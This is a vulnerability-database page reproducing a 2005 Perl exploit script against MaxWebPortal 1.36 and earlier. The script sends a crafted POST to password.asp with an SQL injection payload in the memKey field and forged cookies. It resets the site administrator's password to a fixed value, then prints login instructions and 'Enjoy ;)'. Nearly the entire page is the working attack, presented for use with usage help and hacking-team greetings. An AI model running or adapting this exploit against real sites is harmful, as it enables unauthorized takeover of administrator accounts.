Lucene search
K

Maxwebportal <= 1.36 password.asp Change Password Exploit (3 - perl)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

Maxwebportal <= 1.36 password.asp Change Password Exploit (3 - perl

Code

                                                #!/usr/bin/perl
#################################################################
#    T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
#################################################################
# EXPLOIT FOR - MAX Portal (All Versions)
#
#Exploit By :  A l p h a _ P r o g r a m m e r ( Sirus-v );
#E-Mail : [email protected]
#
#This Xpl Change Admin&#39;s Pass in This Portal !!
#
#Discovered by: s d &#60;[email protected]&#62;
#
#################################################################
#  Gr33tz To ==&#62;   mh_p0rtal , Oil_karchack , Str0ke   &  AlphaST.Com
#
#And Iranian Hacking & Security Teams :
# IHS , Shabgard , Emperor ,Crouz & Simorgh-ev
#################################################################
use IO::Socket;

if (@ARGV &#60; 2)
{
 print &#34;\n==========================================\n&#34;;
 print &#34; \n     -- Exploit By Alpha Programmer --\n\n&#34;;
 print &#34;     Trap-Set Underground Hacking Team      \n\n&#34;;
 print &#34;      Usage: Max.pl &#60;T4rg3t&#62; &#60;V3rsion&#62;\n\n&#34;;
 print &#34; V3rsion :\n&#34;;
 print &#34; 1 ==&#62;   Version 1.35 and 0lder\n&#34;;
 print &#34; 2 ==&#62;   Version 1.36, 2.0 and Next\n&#34;;
 print &#34;==========================================\n\n&#34;;
 print &#34;Example:\n\n&#34;;
 print &#34;    Max.pl www.Site.com 1\n&#34;;
 exit();
}
$hell = &#34;foo&#39; or M_Name=&#39;admin&#34;;
if ($ARGV[1] =~&#34;2&#34; ){$hell = &#34;foo%27%29+or+M_Name%3D%27admin%27+or+%28%271%27%3D%272&#34;};


my $host = $ARGV[0];
my $remote = IO::Socket::INET-&#62;new ( Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; $host,
PeerPort =&#62; &#34;80&#34; );

unless ($remote) { die &#34;C4nn0t C0nn3ct to $host&#34; }

print &#34;C0nn3cted\n&#34;;

$http = &#34;POST /password.asp?mode=reset HTTP/1.0&#34;;
$http .= &#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n&#34;;
$http .= &#34;Accept-Language: fa\n&#34;;
$http .= &#34;Content-Type: application/x-www-form-urlencoded\n&#34;;
$http .= &#34;Pragma: no-cache\n&#34;;
$http .= &#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)\n&#34;;
$http .= &#34;Host: $host\n&#34;;
$http .= &#34;Content-Length: 111\n&#34;;
$http .= &#34;Proxy-Connection: Keep-Alive\n&#34;;
$http .= &#34;Cookie: SSOComhide=Name=admin; SSOComUser=Cookies=&Pword=d7fae5da3d785535c12b70865519ba86&Name=admin\n\n&#34;;

$http .= &#34;pass=trapset&pass2=trapset&memId=-1&memKey=$hell&Submit=Submit\n\n\n\n&#34;;

print &#34;\n&#34;;
print $remote $http;
sleep(1);
print &#34;[+] Attacking ...\n&#34;;
print &#34;[+] Changing Admin&#39;s Password ...\n&#34;;
while (&#60;$remote&#62;)
{
}
print &#34;\nNow Go to $host and Login With :\n\n&#34;;
print &#34;User: admin\n&#34;;
print &#34;Pass: trapset\n\n&#34;;
print &#34;Enjoy ;)\n&#34;;
print &#34;\n&#34;;
### EOF ###

# milw0rm.com [2005-05-26]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
22